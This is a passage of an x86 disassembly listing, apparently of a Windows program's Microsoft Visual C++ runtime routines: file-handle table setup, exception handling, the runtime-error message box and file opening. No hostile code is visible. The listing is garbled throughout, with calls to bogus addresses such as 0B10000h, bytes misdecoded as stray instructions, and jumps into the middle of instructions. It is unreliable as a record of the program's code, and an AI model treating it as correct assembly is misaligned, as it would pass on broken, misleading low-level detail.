short loc_4235C7 loc_4235D1: ; CODE XREF: sub_4234D4+F1j sub eax, edi inc eax mov ebp, eax push ebp call sub_41B6C5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4235E7 xor esi, esi jmp short loc_4235F2 ; --------------------------------------------------------------------------- loc_4235E7: ; CODE XREF: sub_4234D4+10Dj push ebp push edi push esi call sub_41C500 add esp, 0Ch loc_4235F2: ; CODE XREF: sub_4234D4+111j push edi call near ptr 0B10000h scasd mov eax, esi jmp short loc_4235FF ; --------------------------------------------------------------------------- loc_4235FD: ; CODE XREF: sub_4234D4+39j ; sub_4234D4+61j ... xor eax, eax loc_4235FF: ; CODE XREF: sub_4234D4+D6j ; sub_4234D4+127j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn sub_4234D4 endp ; --------------------------------------------------------------------------- loc_423606: ; CODE XREF: seg000:0041DBC2p sub esp, 44h push ebx push ebp push esi push edi push 100h call sub_41B6C5 mov esi, eax pop ecx test esi, esi jnz short loc_423626 push 1Bh call sub_41DC49 pop ecx loc_423626: ; CODE XREF: seg000:0042361Cj mov ds:dword_4DE1E0, esi mov ds:dword_4DE2E0, 20h lea eax, [esi+100h] loc_42363C: ; CODE XREF: seg000:00423658j cmp esi, eax jnb short loc_42365A and byte ptr [esi+4], 0 or dword ptr [esi], 0FFFFFFFFh mov byte ptr [esi+5], 0Ah mov eax, ds:dword_4DE1E0 add esi, 8 add eax, 100h jmp short loc_42363C ; --------------------------------------------------------------------------- loc_42365A: ; CODE XREF: seg000:0042363Ej lea eax, [esp+10h] push eax call near ptr 0B70004h add al, 66h cmp dword ptr [esp+42h], 0 jz loc_423736 mov eax, [esp+44h] test eax, eax jz loc_423736 mov esi, [eax] lea ebp, [eax+4] mov eax, 800h cmp esi, eax lea ebx, [esi+ebp] jl short loc_423690 mov esi, eax loc_423690: ; CODE XREF: seg000:0042368Cj cmp ds:dword_4DE2E0, esi jge short loc_4236EA mov edi, offset dword_4DE1E4 loc_42369D: ; CODE XREF: seg000:004236E0j push 100h call sub_41B6C5 test eax, eax pop ecx jz short loc_4236E4 add ds:dword_4DE2E0, 20h mov [edi], eax lea ecx, [eax+100h] loc_4236BB: ; CODE XREF: seg000:004236D5j cmp eax, ecx jnb short loc_4236D7 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov ecx, [edi] add eax, 8 add ecx, 100h jmp short loc_4236BB ; --------------------------------------------------------------------------- loc_4236D7: ; CODE XREF: seg000:004236BDj add edi, 4 cmp ds:dword_4DE2E0, esi jl short loc_42369D jmp short loc_4236EA ; --------------------------------------------------------------------------- loc_4236E4: ; CODE XREF: seg000:004236AAj mov esi, ds:dword_4DE2E0 loc_4236EA: ; CODE XREF: seg000:00423696j ; seg000:004236E2j xor edi, edi test esi, esi jle short loc_423736 loc_4236F0: ; CODE XREF: seg000:00423734j mov eax, [ebx] cmp eax, 0FFFFFFFFh jz short loc_42372D mov cl, [ebp+0] test cl, 1 jz short loc_42372D test cl, 8 jnz short loc_42370F push eax call near ptr 0B10000h pop edi test eax, eax jz short loc_42372D loc_42370F: ; CODE XREF: seg000:00423702j mov eax, edi mov ecx, edi sar eax, 5 and ecx, 1Fh mov eax, ds:dword_4DE1E0[eax*4] lea eax, [eax+ecx*8] mov ecx, [ebx] mov [eax], ecx mov cl, [ebp+0] mov [eax+4], cl loc_42372D: ; CODE XREF: seg000:004236F5j ; seg000:004236FDj ... inc edi inc ebp add ebx, 4 cmp edi, esi jl short loc_4236F0 loc_423736: ; CODE XREF: seg000:0042366Bj ; seg000:00423677j ... xor ebx, ebx loc_423738: ; CODE XREF: seg000:0042379Bj mov eax, ds:dword_4DE1E0 cmp dword ptr [eax+ebx*8], 0FFFFFFFFh lea esi, [eax+ebx*8] jnz short loc_423793 test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_423753 push 0FFFFFFF6h pop eax jmp short loc_42375D ; --------------------------------------------------------------------------- loc_423753: ; CODE XREF: seg000:0042374Cj mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_42375D: ; CODE XREF: seg000:00423751j push eax call near ptr 0B90004h pop es mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_423782 push edi call near ptr 0BB0004h xor al, 85h sal byte ptr [esp+ecx+25h], 0FFh ; --------------------------------------------------------------------------- dd 89000000h, 2F8833Eh ; --------------------------------------------------------------------------- jnz short loc_423788 loc_423782: ; CODE XREF: seg000:00423769j or byte ptr [esi+4], 40h jmp short loc_423797 ; --------------------------------------------------------------------------- loc_423788: ; CODE XREF: seg000:00423780j cmp eax, 3 jnz short loc_423797 or byte ptr [esi+4], 8 jmp short loc_423797 ; --------------------------------------------------------------------------- loc_423793: ; CODE XREF: seg000:00423744j or byte ptr [esi+4], 80h loc_423797: ; CODE XREF: seg000:00423786j ; seg000:0042378Bj ... inc ebx cmp ebx, 3 jl short loc_423738 push ds:dword_4DE2E0 call near ptr 0BD0004h hlt ; --------------------------------------------------------------------------- pop edi pop esi pop ebp pop ebx add esp, 44h retn ; --------------------------------------------------------------------------- align 4 push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4237BC proc near ; DATA XREF: seg000:0041DB5Do ; sub_42227D+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_42385C mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_4237EF: ; CODE XREF: sub_4237BC+90j cmp esi, 0FFFFFFFFh jz short loc_423855 lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_423843 push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_423843 js short loc_42384E mov edi, [ebx+8] push ebx call sub_41CD64 add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_41CDA6 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_41CE3A mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_423843: ; CODE XREF: sub_4237BC+40j ; sub_4237BC+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_4237EF ; --------------------------------------------------------------------------- loc_42384E: ; CODE XREF: sub_4237BC+54j mov eax, 0 jmp short loc_423871 ; --------------------------------------------------------------------------- loc_423855: ; CODE XREF: sub_4237BC+36j mov eax, 1 jmp short loc_423871 ; --------------------------------------------------------------------------- loc_42385C: ; CODE XREF: sub_4237BC+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_41CDA6 add esp, 8 pop ebp mov eax, 1 loc_423871: ; CODE XREF: sub_4237BC+97j ; sub_4237BC+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4237BC endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_41CDA6 add esp, 8 pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_423894 proc near ; CODE XREF: sub_41DC49+9p ; sub_41DC6E+9p mov eax, ds:dword_4DDF30 cmp eax, 1 jz short loc_4238AB test eax, eax jnz short locret_4238CC cmp ds:dword_43CF54, 1 jnz short locret_4238CC loc_4238AB: ; CODE XREF: sub_423894+8j push 0FCh call sub_4238CD mov eax, ds:dword_4DE0A0 pop ecx test eax, eax jz short loc_4238C1 call eax loc_4238C1: ; CODE XREF: sub_423894+29j push 0FFh call sub_4238CD pop ecx locret_4238CC: ; CODE XREF: sub_423894+Cj ; sub_423894+15j retn sub_423894 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4238CD proc near ; CODE XREF: sub_41DC49+12p ; sub_41DC6E+12p ... var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h mov edx, [ebp+arg_0] xor ecx, ecx mov eax, offset dword_43F868 loc_4238E0: ; CODE XREF: sub_4238CD+20j cmp edx, [eax] jz short loc_4238EF add eax, 8 inc ecx cmp eax, offset dword_43F8F8 jl short loc_4238E0 loc_4238EF: ; CODE XREF: sub_4238CD+15j push esi mov esi, ecx shl esi, 3 cmp edx, ds:dword_43F868[esi] jnz loc_423A1D mov eax, ds:dword_4DDF30 cmp eax, 1 jz loc_4239F7 test eax, eax jnz short loc_423920 cmp ds:dword_43CF54, 1 jz loc_4239F7 loc_423920: ; CODE XREF: sub_4238CD+44j cmp edx, 0FCh jz loc_423A1D lea eax, [ebp+var_1A4] push 104h push eax push 0 call near ptr 0B10000h push 1375C085h lea eax, [ebp+var_1A4] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_41C0A0 pop ecx pop ecx lea eax, [ebp+var_1A4] push edi push eax lea edi, [ebp+var_1A4] call sub_41B1D0 inc eax pop ecx cmp eax, 3Ch jbe short loc_42399A lea eax, [ebp+var_1A4] push eax call sub_41B1D0 mov edi, eax lea eax, [ebp+var_1A4] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_41B7E0 add esp, 10h loc_42399A: ; CODE XREF: sub_4238CD+A2j lea eax, [ebp+var_A0] push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push eax call sub_41C0A0 lea eax, [ebp+var_A0] push edi push eax call sub_41C0B0 lea eax, [ebp+var_A0] push offset asc_428C10 ; "\n\n" push eax call sub_41C0B0 push ds:off_43F86C[esi] lea eax, [ebp+var_A0] push eax call sub_41C0B0 push 12010h lea eax, [ebp+var_A0] push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push eax call sub_4250D1 add esp, 2Ch pop edi jmp short loc_423A1D ; --------------------------------------------------------------------------- loc_4239F7: ; CODE XREF: sub_4238CD+3Cj ; sub_4238CD+4Dj lea eax, [ebp+arg_0] lea esi, off_43F86C[esi] push 0 push eax push dword ptr [esi] call sub_41B1D0 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h call near ptr 0B10000h inc ebp push eax call near ptr 0B10000h inc ebx loc_423A1D: ; CODE XREF: sub_4238CD+2Ej ; sub_4238CD+59j ... pop esi leave retn sub_4238CD endp ; =============== S U B R O U T I N E ======================================= sub_423A20 proc near ; CODE XREF: sub_423C7E:loc_423DF6p push ebx push esi push edi or ebx, 0FFFFFFFFh xor edi, edi xor esi, esi mov ecx, offset dword_4DE1E0 loc_423A2F: ; CODE XREF: sub_423A20+48j mov eax, [ecx] test eax, eax jz short loc_423A6C lea edx, [eax+100h] loc_423A3B: ; CODE XREF: sub_423A20+28j cmp eax, edx jnb short loc_423A5B test byte ptr [eax+4], 1 jz short loc_423A4A add eax, 8 jmp short loc_423A3B ; --------------------------------------------------------------------------- loc_423A4A: ; CODE XREF: sub_423A20+23j or dword ptr [eax], 0FFFFFFFFh sub eax, [ecx] sar eax, 3 add eax, esi mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_423AAF loc_423A5B: ; CODE XREF: sub_423A20+1Dj add ecx, 4 inc edi add esi, 20h cmp ecx, offset dword_4DE2E0 jl short loc_423A2F jmp short loc_423AAF ; --------------------------------------------------------------------------- loc_423A6C: ; CODE XREF: sub_423A20+13j mov esi, 100h push esi call sub_41B6C5 test eax, eax pop ecx jz short loc_423AAF add ds:dword_4DE2E0, 20h lea ecx, ds:4DE1E0h[edi*4] lea edx, [eax+100h] mov [ecx], eax loc_423A92: ; CODE XREF: sub_423A20+88j cmp eax, edx jnb short loc_423AAA and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov edx, [ecx] add eax, 8 add edx, esi jmp short loc_423A92 ; --------------------------------------------------------------------------- loc_423AAA: ; CODE XREF: sub_423A20+74j shl edi, 5 mov ebx, edi loc_423AAF: ; CODE XREF: sub_423A20+39j ; sub_423A20+4Aj ... pop edi mov eax, ebx pop esi pop ebx retn sub_423A20 endp ; =============== S U B R O U T I N E ======================================= sub_423AB5 proc near ; CODE XREF: sub_423C7E+1F4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, ds:dword_4DE2E0 push edi jnb short loc_423B15 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4DE1E0h[ecx*4] shl esi, 3 mov ecx, [edi] cmp dword ptr [ecx+esi], 0FFFFFFFFh jnz short loc_423B15 cmp ds:dword_43CF54, 1 push ebx mov ebx, [esp+0Ch+arg_4] jnz short loc_423B0B sub eax, 0 jz short loc_423B02 dec eax jz short loc_423AFD dec eax jnz short loc_423B0B push ebx push 0FFFFFFF4h jmp short loc_423B05 ; --------------------------------------------------------------------------- loc_423AFD: ; CODE XREF: sub_423AB5+3Ej push ebx push 0FFFFFFF5h jmp short loc_423B05 ; --------------------------------------------------------------------------- loc_423B02: ; CODE XREF: sub_423AB5+3Bj push ebx push 0FFFFFFF6h loc_423B05: ; CODE XREF: sub_423AB5+46j ; sub_423AB5+4Bj call near ptr 0B10000h push esi loc_423B0B: ; CODE XREF: sub_423AB5+36j ; sub_423AB5+41j mov eax, [edi] mov [eax+esi], ebx xor eax, eax pop ebx jmp short loc_423B29 ; --------------------------------------------------------------------------- loc_423B15: ; CODE XREF: sub_423AB5+Cj ; sub_423AB5+28j and ds:dword_4DDEB8, 0 mov ds:dword_4DDEB4, 9 or eax, 0FFFFFFFFh loc_423B29: ; CODE XREF: sub_423AB5+5Ej pop edi pop esi retn sub_423AB5 endp ; --------------------------------------------------------------------------- loc_423B2C: ; CODE XREF: sub_41DC92+7Cp mov ecx, [esp+4] push esi cmp ecx, ds:dword_4DE2E0 push edi jnb short loc_423B8F mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea edi, ds:4DE1E0h[eax*4] shl esi, 3 mov eax, [edi] add eax, esi test byte ptr [eax+4], 1 jz short loc_423B8F cmp dword ptr [eax], 0FFFFFFFFh jz short loc_423B8F cmp ds:dword_43CF54, 1 jnz short near ptr loc_423B84+1 xor eax, eax sub ecx, eax jz short loc_423B7C dec ecx jz short loc_423B77 dec ecx jnz short near ptr loc_423B84+1 push eax push 0FFFFFFF4h jmp short loc_423B7F ; --------------------------------------------------------------------------- loc_423B77: ; CODE XREF: seg000:00423B6Dj push eax push 0FFFFFFF5h jmp short loc_423B7F ; --------------------------------------------------------------------------- loc_423B7C: ; CODE XREF: seg000:00423B6Aj push eax push 0FFFFFFF6h loc_423B7F: ; CODE XREF: seg000:00423B75j ; seg000:00423B7Aj call near ptr 0B10000h loc_423B84: ; CODE XREF: seg000:00423B64j ; seg000:00423B70j sub eax, 0C83078Bh xor bh, bh xor eax, eax jmp short loc_423BA3 ; --------------------------------------------------------------------------- loc_423B8F: ; CODE XREF: seg000:00423B38j ; seg000:00423B56j ... and ds:dword_4DDEB8, 0 mov ds:dword_4DDEB4, 9 or eax, 0FFFFFFFFh loc_423BA3: ; CODE XREF: seg000:00423B8Dj pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= sub_423BA6 proc near ; CODE XREF: sub_41DC92+32p ; sub_41DC92+49p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, ds:dword_4DE2E0 jnb short loc_423BCE mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, ds:dword_4DE1E0[ecx*4] test byte ptr [ecx+eax*8+4], 1 lea eax, [ecx+eax*8] jz short loc_423BCE mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_423BCE: ; CODE XREF: sub_423BA6+Aj ; sub_423BA6+23j and ds:dword_4DDEB8, 0 mov ds:dword_4DDEB4, 9 or eax, 0FFFFFFFFh retn sub_423BA6 endp ; =============== S U B R O U T I N E ======================================= sub_423BE3 proc near ; CODE XREF: sub_41DD70+2Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, ds:dword_4DE2E0 jnb short loc_423C2C mov ecx, eax mov edx, eax sar ecx, 5 and edx, 1Fh mov ecx, ds:dword_4DE1E0[ecx*4] test byte ptr [ecx+edx*8+4], 1 jz short loc_423C2C push eax call sub_423BA6 pop ecx push eax call near ptr 0B10000h pop esi test eax, eax jnz short loc_423C21 call ds:dword_42808C ; RtlGetLastWin32Error jmp short loc_423C23 ; --------------------------------------------------------------------------- loc_423C21: ; CODE XREF: sub_423BE3+34j xor eax, eax loc_423C23: ; CODE XREF: sub_423BE3+3Cj test eax, eax jz short locret_423C39 mov ds:dword_4DDEB8, eax loc_423C2C: ; CODE XREF: sub_423BE3+Aj ; sub_423BE3+22j mov ds:dword_4DDEB4, 9 or eax, 0FFFFFFFFh locret_423C39: ; CODE XREF: sub_423BE3+42j retn sub_423BE3 endp ; =============== S U B R O U T I N E ======================================= sub_423C3A proc near ; CODE XREF: sub_41F263+32p ; sub_41F7AA+6Cp ... arg_0 = dword ptr 4 inc ds:dword_4DDF8C push 1000h call sub_41B6C5 pop ecx mov ecx, [esp+arg_0] test eax, eax mov [ecx+8], eax jz short loc_423C63 or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_423C74 ; --------------------------------------------------------------------------- loc_423C63: ; CODE XREF: sub_423C3A+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_423C74: ; CODE XREF: sub_423C3A+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_423C3A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423C7E proc near ; CODE XREF: sub_41F54D+13Fp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch mov ecx, [ebp+arg_4] push ebx xor ebx, ebx push esi test cl, 80h push edi mov [ebp+var_1C], 0Ch mov [ebp+var_18], ebx jz short loc_423CA4 mov [ebp+var_14], ebx mov [ebp+var_1], 10h jmp short loc_423CAF ; --------------------------------------------------------------------------- loc_423CA4: ; CODE XREF: sub_423C7E+1Bj and [ebp+var_1], 0 mov [ebp+var_14], 1 loc_423CAF: ; CODE XREF: sub_423C7E+24j mov eax, 8000h test ecx, eax jnz short loc_423CC9 test ch, 40h jnz short loc_423CC5 cmp ds:dword_4DE1B0, eax jz short loc_423CC9 loc_423CC5: ; CODE XREF: sub_423C7E+3Dj or [ebp+var_1], 80h loc_423CC9: ; CODE XREF: sub_423C7E+38j ; sub_423C7E+45j push 3 mov eax, ecx pop esi and eax, esi sub eax, ebx jz short loc_423D01 dec eax jz short loc_423CF8 dec eax jz short loc_423CEF loc_423CDA: ; CODE XREF: sub_423C7E+9Fj ; sub_423C7E+E8j ... mov ds:dword_4DDEB4, 16h mov ds:dword_4DDEB8, ebx jmp loc_423F14 ; --------------------------------------------------------------------------- loc_423CEF: ; CODE XREF: sub_423C7E+5Aj mov [ebp+var_C], 0C0000000h jmp short loc_423D08 ; --------------------------------------------------------------------------- loc_423CF8: ; CODE XREF: sub_423C7E+57j mov [ebp+var_C], 40000000h jmp short loc_423D08 ; --------------------------------------------------------------------------- loc_423D01: ; CODE XREF: sub_423C7E+54j mov [ebp+var_C], 80000000h loc_423D08: ; CODE XREF: sub_423C7E+78j ; sub_423C7E+81j mov eax, [ebp+arg_8] cmp eax, 10h jz short loc_423D36 cmp eax, 20h jz short loc_423D2D cmp eax, 30h jz short loc_423D24 cmp eax, 40h jnz short loc_423CDA mov [ebp+var_10], esi jmp short loc_423D39 ; --------------------------------------------------------------------------- loc_423D24: ; CODE XREF: sub_423C7E+9Aj mov [ebp+var_10], 2 jmp short loc_423D39 ; --------------------------------------------------------------------------- loc_423D2D: ; CODE XREF: sub_423C7E+95j mov [ebp+var_10], 1 jmp short loc_423D39 ; --------------------------------------------------------------------------- loc_423D36: ; CODE XREF: sub_423C7E+90j mov [ebp+var_10], ebx loc_423D39: ; CODE XREF: sub_423C7E+A4j ; sub_423C7E+ADj ... mov edx, 700h mov eax, 400h and ecx, edx mov edi, 100h cmp ecx, eax jg short loc_423D83 jz short loc_423D7E cmp ecx, ebx jz short loc_423D7E cmp ecx, edi jz short loc_423D75 cmp ecx, 200h jz short loc_423D9C cmp ecx, 300h jnz loc_423CDA mov [ebp+var_8], 2 jmp short loc_423DAC ; --------------------------------------------------------------------------- loc_423D75: ; CODE XREF: sub_423C7E+D8j mov [ebp+var_8], 4 jmp short loc_423DAC ; --------------------------------------------------------------------------- loc_423D7E: ; CODE XREF: sub_423C7E+D0j ; sub_423C7E+D4j mov [ebp+var_8], esi jmp short loc_423DAC ; --------------------------------------------------------------------------- loc_423D83: ; CODE XREF: sub_423C7E+CEj cmp ecx, 500h jz short loc_423DA5 cmp ecx, 600h jz short loc_423D9C cmp ecx, edx jz short loc_423DA5 jmp loc_423CDA ; --------------------------------------------------------------------------- loc_423D9C: ; CODE XREF: sub_423C7E+E0j ; sub_423C7E+113j mov [ebp+var_8], 5 jmp short loc_423DAC ; --------------------------------------------------------------------------- loc_423DA5: ; CODE XREF: sub_423C7E+10Bj ; sub_423C7E+117j mov [ebp+var_8], 1 loc_423DAC: ; CODE XREF: sub_423C7E+F5j ; sub_423C7E+FEj ... mov eax, [ebp+arg_4] mov esi, 80h test eax, edi jz short loc_423DCB mov ecx, ds:dword_4DDEBC not ecx and ecx, [ebp+arg_C] test cl, 80h jnz short loc_423DCB push 1 pop esi loc_423DCB: ; CODE XREF: sub_423C7E+138j ; sub_423C7E+148j test al, 40h jz short loc_423DD9 or esi, 4000000h or byte ptr [ebp+var_C+2], 1 loc_423DD9: ; CODE XREF: sub_423C7E+14Fj test ah, 10h jz short loc_423DE0 or esi, edi loc_423DE0: ; CODE XREF: sub_423C7E+15Ej test al, 20h jz short loc_423DEC or esi, 8000000h jmp short loc_423DF6 ; --------------------------------------------------------------------------- loc_423DEC: ; CODE XREF: sub_423C7E+164j test al, 10h jz short loc_423DF6 or esi, 10000000h loc_423DF6: ; CODE XREF: sub_423C7E+16Cj ; sub_423C7E+170j call sub_423A20 mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi jnz short loc_423E17 and ds:dword_4DDEB8, 0 mov ds:dword_4DDEB4, 18h jmp short loc_423E55 ; --------------------------------------------------------------------------- loc_423E17: ; CODE XREF: sub_423C7E+184j push 0 push esi push [ebp+var_8] lea eax, [ebp+var_1C] push eax push [ebp+var_10] push [ebp+var_C] push [ebp+arg_0] call ds:dword_4280EC ; CreateFileA mov esi, eax cmp esi, edi jz short loc_423E48 push esi call near ptr 0B10000h db 67h test eax, eax jnz short loc_423E5C push esi call ds:dword_42806C ; CloseHandle loc_423E48: ; CODE XREF: sub_423C7E+1B6j call ds:dword_42808C ; RtlGetLastWin32Error push eax call sub_4205FF pop ecx loc_423E55: ; CODE XREF: sub_423C7E+197j mov eax, edi jmp loc_423F32 ; --------------------------------------------------------------------------- loc_423E5C: ; CODE XREF: sub_423C7E+1C1j cmp eax, 2 jnz short loc_423E67 or [ebp+var_1], 40h jmp short loc_423E70 ; --------------------------------------------------------------------------- loc_423E67: ; CODE XREF: sub_423C7E+1E1j cmp eax, 3 jnz short loc_423E70 or [ebp+var_1], 8 loc_423E70: ; CODE XREF: sub_423C7E+1E7j ; sub_423C7E+1ECj push esi push ebx call sub_423AB5 pop ecx mov al, [ebp+var_1] pop ecx mov esi, ebx mov ecx, ebx or al, 1 sar ecx, 5 and esi, 1Fh mov byte ptr [ebp+arg_0+3], al lea edi, ds:4DE1E0h[ecx*4] shl esi, 3 mov ecx, [edi] and byte ptr [ebp+arg_0+3], 48h mov [ecx+esi+4], al jnz short loc_423F19 test al, 80h jz short loc_423F19 test byte ptr [ebp+arg_4], 2 jz short loc_423F19 push 2 push 0FFFFFFFFh push ebx call sub_422A04 add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_423ECE cmp ds:dword_4DDEB8, 83h jz short loc_423F19 jmp short loc_423F0D ; --------------------------------------------------------------------------- loc_423ECE: ; CODE XREF: sub_423C7E+240j and byte ptr [ebp+arg_8+3], 0 lea eax, [ebp+arg_8+3] push 1 push eax push ebx call sub_41F33C add esp, 0Ch test eax, eax jnz short loc_423EFB cmp byte ptr [ebp+arg_8+3], 1Ah jnz short loc_423EFB push [ebp+var_10] push ebx call loc_42515A pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_423F0D loc_423EFB: ; CODE XREF: sub_423C7E+265j ; sub_423C7E+26Bj push 0 push 0 push ebx call sub_422A04 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_423F19 loc_423F0D: ; CODE XREF: sub_423C7E+24Ej ; sub_423C7E+27Bj push ebx call sub_41DC92 pop ecx loc_423F14: ; CODE XREF: sub_423C7E+6Cj or eax, 0FFFFFFFFh jmp short loc_423F32 ; --------------------------------------------------------------------------- loc_423F19: ; CODE XREF: sub_423C7E+221j ; sub_423C7E+225j ... cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_423F30 test byte ptr [ebp+arg_4], 8 jz short loc_423F30 mov eax, [edi] or byte ptr [eax+esi+4], 20h lea eax, [eax+esi+4] loc_423F30: ; CODE XREF: sub_423C7E+29Fj ; sub_423C7E+2A5j mov eax, ebx loc_423F32: ; CODE XREF: sub_423C7E+1D9j ; sub_423C7E+299j pop edi pop esi pop ebx leave retn sub_423C7E endp ; --------------------------------------------------------------------------- loc_423F37: ; CODE XREF: sub_41F735+5Ep ; seg000:004203A2p push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_428C50 push offset sub_4237BC mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp-18h], esp mov eax, ds:dword_4DE0A8 xor ebx, ebx cmp eax, ebx jnz short loc_423FA6 lea eax, [ebp-1Ch] push eax push 1 pop esi push esi push offset dword_428940 push esi call ds:dword_428020 ; GetStringTypeW test eax, eax jz short loc_423F84 mov eax, esi jmp short loc_423FA1 ; --------------------------------------------------------------------------- loc_423F84: ; CODE XREF: seg000:00423F7Ej lea eax, [ebp-1Ch] push eax push esi push offset dword_4CDAB0 push esi push ebx call near ptr 0B10000h inc dword ptr [ebp-317BF040h] ; --------------------------------------------------------------------------- db 0 dd 26A0000h ; --------------------------------------------------------------------------- pop eax loc_423FA1: ; CODE XREF: seg000:00423F82j mov ds:dword_4DE0A8, eax loc_423FA6: ; CODE XREF: seg000:00423F66j cmp eax, 2 jnz short loc_423FCF mov eax, [ebp+1Ch] cmp eax, ebx jnz short loc_423FB7 mov eax, ds:dword_4DDF74 loc_423FB7: ; CODE XREF: seg000:00423FB0j push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] push eax call near ptr 0B10000h stosb jmp loc_42406E ; --------------------------------------------------------------------------- loc_423FCF: ; CODE XREF: seg000:00423FA9j cmp eax, 1 jnz loc_42406C cmp [ebp+18h], ebx jnz short loc_423FE5 mov eax, ds:dword_4DDF84 mov [ebp+18h], eax loc_423FE5: ; CODE XREF: seg000:00423FDBj push ebx push ebx push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] mov eax, [ebp+20h] neg eax sbb eax, eax and eax, 8 inc eax push eax push dword ptr [ebp+18h] call ds:dword_428184 ; MultiByteToWideChar mov [ebp-20h], eax cmp eax, ebx jz short loc_42406C mov [ebp-4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_41BD10 mov [ebp-18h], esp mov esi, esp mov [ebp-24h], esi push edi push ebx push esi call sub_41B780 add esp, 0Ch jmp short loc_42403B ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] xor ebx, ebx xor esi, esi loc_42403B: ; CODE XREF: seg000:0042402Ej or dword ptr [ebp-4], 0FFFFFFFFh cmp esi, ebx jz short loc_42406C push dword ptr [ebp-20h] push esi push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push 1 push dword ptr [ebp+18h] call ds:dword_428184 ; MultiByteToWideChar cmp eax, ebx jz short loc_42406C push dword ptr [ebp+14h] push eax push esi push dword ptr [ebp+8] call ds:dword_428020 ; GetStringTypeW jmp short loc_42406E ; --------------------------------------------------------------------------- loc_42406C: ; CODE XREF: seg000:00423FD2j ; seg000:00424007j ... xor eax, eax loc_42406E: ; CODE XREF: seg000:00423FCAj ; seg000:0042406Aj lea esp, [ebp-34h] mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_424080 proc near ; CODE XREF: sub_41F7AA+61p ; sub_420666+8p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, ds:dword_4DE2E0 jb short loc_42408F xor eax, eax retn ; --------------------------------------------------------------------------- loc_42408F: ; CODE XREF: sub_424080+Aj mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, ds:dword_4DE1E0[ecx*4] mov al, [ecx+eax*8+4] and eax, 40h retn sub_424080 endp ; =============== S U B R O U T I N E 